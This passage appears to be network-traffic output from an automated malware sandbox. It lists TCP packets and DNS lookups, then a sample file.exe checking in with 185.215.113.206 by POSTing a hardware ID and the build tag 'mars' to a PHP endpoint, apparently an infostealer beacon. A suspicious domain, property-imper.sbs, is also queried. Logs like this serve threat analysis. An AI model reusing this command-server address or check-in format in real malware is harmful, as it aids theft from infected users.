Nov 25, 2024 03:40:46.121197939 CET	49877	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.121481895 CET	49877	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.121481895 CET	49877	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.121495962 CET	443	49877	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.121503115 CET	443	49877	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.124998093 CET	49884	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.125092983 CET	443	49884	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.125205040 CET	49884	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.125384092 CET	49884	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.125421047 CET	443	49884	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.198570013 CET	443	49882	23.44.136.136	192.168.2.8
Nov 25, 2024 03:40:46.198733091 CET	443	49882	23.44.136.136	192.168.2.8
Nov 25, 2024 03:40:46.198833942 CET	49882	443	192.168.2.8	23.44.136.136
Nov 25, 2024 03:40:46.199198961 CET	49882	443	192.168.2.8	23.44.136.136
Nov 25, 2024 03:40:46.199218988 CET	443	49882	23.44.136.136	192.168.2.8
Nov 25, 2024 03:40:46.199914932 CET	49885	443	192.168.2.8	23.44.136.136
Nov 25, 2024 03:40:46.199954033 CET	443	49885	23.44.136.136	192.168.2.8
Nov 25, 2024 03:40:46.200017929 CET	49885	443	192.168.2.8	23.44.136.136
Nov 25, 2024 03:40:46.200246096 CET	49885	443	192.168.2.8	23.44.136.136
Nov 25, 2024 03:40:46.200267076 CET	443	49885	23.44.136.136	192.168.2.8
Nov 25, 2024 03:40:46.203227997 CET	443	49881	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.203691006 CET	49881	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.203726053 CET	443	49881	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.204174995 CET	49881	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.204188108 CET	443	49881	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.268560886 CET	443	49878	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.268676996 CET	443	49878	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.268757105 CET	49878	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.268871069 CET	49878	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.268871069 CET	49878	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.268889904 CET	443	49878	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.268898010 CET	443	49878	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.271641016 CET	49886	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.271727085 CET	443	49886	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.271812916 CET	49886	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.271959066 CET	49886	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.271989107 CET	443	49886	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.350249052 CET	443	49883	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.350807905 CET	49883	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.350830078 CET	443	49883	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.351350069 CET	49883	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.351361036 CET	443	49883	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.462196112 CET	443	49880	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.462270975 CET	443	49880	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.462430000 CET	49880	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.462604046 CET	49880	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.462629080 CET	443	49880	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.462646008 CET	49880	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.462652922 CET	443	49880	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.465887070 CET	49887	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.465939045 CET	443	49887	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.466013908 CET	49887	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.466305017 CET	49887	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.466339111 CET	443	49887	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.656981945 CET	443	49881	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.657066107 CET	443	49881	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.657159090 CET	49881	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.657356024 CET	49881	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.657387972 CET	443	49881	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.657417059 CET	49881	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.657449007 CET	443	49881	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.661896944 CET	49888	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.661947012 CET	443	49888	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.662023067 CET	49888	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.662204981 CET	49888	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.662221909 CET	443	49888	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.795140982 CET	443	49883	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.795205116 CET	443	49883	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.795257092 CET	49883	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.795442104 CET	49883	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.795470953 CET	443	49883	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.795496941 CET	49883	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.795511007 CET	443	49883	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.798563957 CET	49889	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.798593998 CET	443	49889	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.798677921 CET	49889	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.798976898 CET	49889	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.798990011 CET	443	49889	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:47.437571049 CET	443	49885	23.44.136.136	192.168.2.8
Nov 25, 2024 03:40:47.438019037 CET	49885	443	192.168.2.8	23.44.136.136
Nov 25, 2024 03:40:47.438045025 CET	443	49885	23.44.136.136	192.168.2.8
Nov 25, 2024 03:40:47.439126015 CET	443	49885	23.44.136.136	192.168.2.8
Nov 25, 2024 03:40:47.439435959 CET	49885	443	192.168.2.8	23.44.136.136
Nov 25, 2024 03:40:47.439591885 CET	49885	443	192.168.2.8	23.44.136.136
Nov 25, 2024 03:40:47.439599991 CET	443	49885	23.44.136.136	192.168.2.8
Nov 25, 2024 03:40:47.483340025 CET	443	49885	23.44.136.136	192.168.2.8
Nov 25, 2024 03:40:47.486697912 CET	49885	443	192.168.2.8	23.44.136.136
Nov 25, 2024 03:40:47.922009945 CET	443	49885	23.44.136.136	192.168.2.8
Nov 25, 2024 03:40:47.922174931 CET	443	49885	23.44.136.136	192.168.2.8
Nov 25, 2024 03:40:47.922496080 CET	49885	443	192.168.2.8	23.44.136.136
Nov 25, 2024 03:40:47.922496080 CET	49885	443	192.168.2.8	23.44.136.136
Nov 25, 2024 03:40:47.922496080 CET	49885	443	192.168.2.8	23.44.136.136
Nov 25, 2024 03:40:47.970248938 CET	443	49884	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:47.971185923 CET	49884	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:47.971210003 CET	443	49884	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:47.971610069 CET	49884	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:47.971617937 CET	443	49884	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:47.992213964 CET	443	49886	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:47.992877960 CET	49886	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:47.992907047 CET	443	49886	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:47.993455887 CET	49886	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:47.993463039 CET	443	49886	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:48.190422058 CET	443	49887	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:48.191374063 CET	49887	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:48.191405058 CET	443	49887	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:48.191833019 CET	49887	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:48.191845894 CET	443	49887	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:48.422707081 CET	443	49884	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:48.422777891 CET	443	49884	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:48.422842979 CET	49884	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:48.423052073 CET	49884	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:48.423074007 CET	443	49884	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:48.423088074 CET	49884	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:48.423099995 CET	443	49884	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:48.426007986 CET	443	49886	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:48.426089048 CET	443	49886	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:48.426157951 CET	49886	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:48.426211119 CET	49886	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:48.426227093 CET	443	49886	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:48.426240921 CET	49886	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:48.426246881 CET	443	49886	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:48.426640987 CET	49890	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:48.426677942 CET	443	49890	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:48.426738977 CET	49890	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:48.426945925 CET	49890	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:48.426961899 CET	443	49890	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:48.428517103 CET	49891	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:48.428558111 CET	443	49891	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:48.428617954 CET	49891	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:48.428735018 CET	49891	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:48.428745985 CET	443	49891	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:48.446520090 CET	443	49888	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:48.446971893 CET	49888	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:48.446990967 CET	443	49888	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:48.447474003 CET	49888	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:48.447479010 CET	443	49888	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:48.578977108 CET	443	49889	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:48.579695940 CET	49889	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:48.579716921 CET	443	49889	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:48.580180883 CET	49889	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:48.580187082 CET	443	49889	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:48.628153086 CET	443	49887	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:48.628227949 CET	443	49887	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:48.628317118 CET	49887	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:48.628593922 CET	49887	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:48.628612995 CET	443	49887	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:48.628623009 CET	49887	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:48.628628969 CET	443	49887	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:48.632103920 CET	49892	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:48.632138968 CET	443	49892	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:48.632237911 CET	49892	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:48.632376909 CET	49892	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:48.632401943 CET	443	49892	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:48.890271902 CET	443	49888	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:48.890341043 CET	443	49888	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:48.890431881 CET	49888	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:48.890635014 CET	49888	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:48.890655041 CET	443	49888	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:48.890670061 CET	49888	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:48.890675068 CET	443	49888	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:48.894067049 CET	49893	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:48.894098997 CET	443	49893	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:48.894181013 CET	49893	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:48.894351006 CET	49893	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:48.894367933 CET	443	49893	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:49.022561073 CET	443	49889	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:49.022644043 CET	443	49889	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:49.022696018 CET	49889	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:49.022888899 CET	49889	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:49.022907019 CET	443	49889	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:49.022918940 CET	49889	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:49.022924900 CET	443	49889	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:49.025964975 CET	49894	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:49.026004076 CET	443	49894	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:49.026094913 CET	49894	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:49.026268005 CET	49894	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:49.026282072 CET	443	49894	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:50.142375946 CET	443	49891	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:50.142918110 CET	49891	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:50.142946959 CET	443	49891	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:50.143440008 CET	49891	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:50.143448114 CET	443	49891	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:50.272486925 CET	443	49890	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:50.273269892 CET	49890	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:50.273289919 CET	443	49890	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:50.273894072 CET	49890	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:50.273900986 CET	443	49890	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:50.411936045 CET	443	49892	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:50.412988901 CET	49892	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:50.413007975 CET	443	49892	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:50.413575888 CET	49892	443	192.168.2.8	13.107.246.63

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 25, 2024 03:39:28.267990112 CET	192.168.2.8	1.1.1.1	0x96a0	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 03:39:28.268152952 CET	192.168.2.8	1.1.1.1	0x565	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 25, 2024 03:39:35.401822090 CET	192.168.2.8	1.1.1.1	0xbfb	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 03:39:35.401966095 CET	192.168.2.8	1.1.1.1	0x2533	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 25, 2024 03:39:39.745117903 CET	192.168.2.8	1.1.1.1	0xe893	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 03:39:39.745249987 CET	192.168.2.8	1.1.1.1	0xa533	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 25, 2024 03:39:42.571211100 CET	192.168.2.8	1.1.1.1	0xacf5	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 25, 2024 03:39:42.571408033 CET	192.168.2.8	1.1.1.1	0x182e	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 25, 2024 03:39:44.134884119 CET	192.168.2.8	1.1.1.1	0x4e41	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 03:39:44.135059118 CET	192.168.2.8	1.1.1.1	0x7468	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 25, 2024 03:39:44.221231937 CET	192.168.2.8	1.1.1.1	0x14a	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 03:39:44.221535921 CET	192.168.2.8	1.1.1.1	0x50f9	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 25, 2024 03:39:44.227047920 CET	192.168.2.8	1.1.1.1	0x52d0	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 03:39:44.227211952 CET	192.168.2.8	1.1.1.1	0x69f1	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 25, 2024 03:39:44.257154942 CET	192.168.2.8	1.1.1.1	0x6708	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 03:39:44.257350922 CET	192.168.2.8	1.1.1.1	0x674d	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 25, 2024 03:39:45.024471045 CET	192.168.2.8	1.1.1.1	0xb9e8	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 03:39:45.025315046 CET	192.168.2.8	1.1.1.1	0xb7bc	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 25, 2024 03:39:45.028529882 CET	192.168.2.8	1.1.1.1	0xe659	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 03:39:45.028687954 CET	192.168.2.8	1.1.1.1	0xa6af	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 25, 2024 03:39:45.166918039 CET	192.168.2.8	1.1.1.1	0x28e2	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 03:39:45.167117119 CET	192.168.2.8	1.1.1.1	0x6ebd	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 25, 2024 03:39:45.310199022 CET	192.168.2.8	1.1.1.1	0xad85	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 03:39:45.310476065 CET	192.168.2.8	1.1.1.1	0x6916	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 25, 2024 03:41:16.435417891 CET	192.168.2.8	1.1.1.1	0x8323	Standard query (0)	property-imper.sbs	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 25, 2024 03:39:28.404989004 CET	1.1.1.1	192.168.2.8	0x96a0	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Nov 25, 2024 03:39:28.405119896 CET	1.1.1.1	192.168.2.8	0x565	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 25, 2024 03:39:35.538758039 CET	1.1.1.1	192.168.2.8	0xbfb	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 03:39:35.538758039 CET	1.1.1.1	192.168.2.8	0xbfb	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 25, 2024 03:39:35.638461113 CET	1.1.1.1	192.168.2.8	0x2533	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 03:39:39.882249117 CET	1.1.1.1	192.168.2.8	0xe893	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 03:39:39.882921934 CET	1.1.1.1	192.168.2.8	0xa533	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 03:39:40.678338051 CET	1.1.1.1	192.168.2.8	0xa287	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 03:39:40.678338051 CET	1.1.1.1	192.168.2.8	0xa287	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 25, 2024 03:39:40.823386908 CET	1.1.1.1	192.168.2.8	0x36dc	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 03:39:42.708245993 CET	1.1.1.1	192.168.2.8	0xacf5	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 03:39:42.708796978 CET	1.1.1.1	192.168.2.8	0x182e	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 03:39:44.271672964 CET	1.1.1.1	192.168.2.8	0x4e41	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 03:39:44.271672964 CET	1.1.1.1	192.168.2.8	0x4e41	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.97	A (IP address)	IN (0x0001)	false
Nov 25, 2024 03:39:44.358385086 CET	1.1.1.1	192.168.2.8	0x50f9	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 25, 2024 03:39:44.359257936 CET	1.1.1.1	192.168.2.8	0x14a	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 03:39:44.359257936 CET	1.1.1.1	192.168.2.8	0x14a	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 03:39:44.362102032 CET	1.1.1.1	192.168.2.8	0x7468	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 03:39:44.364200115 CET	1.1.1.1	192.168.2.8	0x52d0	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 03:39:44.364200115 CET	1.1.1.1	192.168.2.8	0x52d0	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 03:39:44.364366055 CET	1.1.1.1	192.168.2.8	0x69f1	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 25, 2024 03:39:44.393973112 CET	1.1.1.1	192.168.2.8	0x6708	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 03:39:44.393973112 CET	1.1.1.1	192.168.2.8	0x6708	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 03:39:44.394114017 CET	1.1.1.1	192.168.2.8	0x674d	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 25, 2024 03:39:45.161274910 CET	1.1.1.1	192.168.2.8	0xb9e8	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 03:39:45.161797047 CET	1.1.1.1	192.168.2.8	0xb7bc	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 03:39:45.165510893 CET	1.1.1.1	192.168.2.8	0xe659	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 25, 2024 03:39:45.165510893 CET	1.1.1.1	192.168.2.8	0xe659	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 25, 2024 03:39:45.165510893 CET	1.1.1.1	192.168.2.8	0xe659	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 25, 2024 03:39:45.165510893 CET	1.1.1.1	192.168.2.8	0xe659	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 25, 2024 03:39:45.303692102 CET	1.1.1.1	192.168.2.8	0x28e2	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 03:39:45.384759903 CET	1.1.1.1	192.168.2.8	0x6ebd	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 03:39:45.447181940 CET	1.1.1.1	192.168.2.8	0x6916	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 03:39:45.447371006 CET	1.1.1.1	192.168.2.8	0xad85	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 03:41:16.573292017 CET	1.1.1.1	192.168.2.8	0x8323	No error (0)	property-imper.sbs		172.67.162.84	A (IP address)	IN (0x0001)	false
Nov 25, 2024 03:41:16.573292017 CET	1.1.1.1	192.168.2.8	0x8323	No error (0)	property-imper.sbs		104.21.33.116	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	185.215.113.206	80	1548	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 03:39:20.088762045 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 25, 2024 03:39:21.440193892 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:39:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 03:39:21.442892075 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGDHDHJEBGHJKFIECBG Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 32 31 30 42 42 39 42 34 42 35 38 33 34 31 39 37 30 35 32 34 38 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 2d 2d 0d 0a Data Ascii: ------ECGDHDHJEBGHJKFIECBGContent-Disposition: form-data; name="hwid"7210BB9B4B583419705248------ECGDHDHJEBGHJKFIECBGContent-Disposition: form-data; name="build"mars------ECGDHDHJEBGHJKFIECBG--
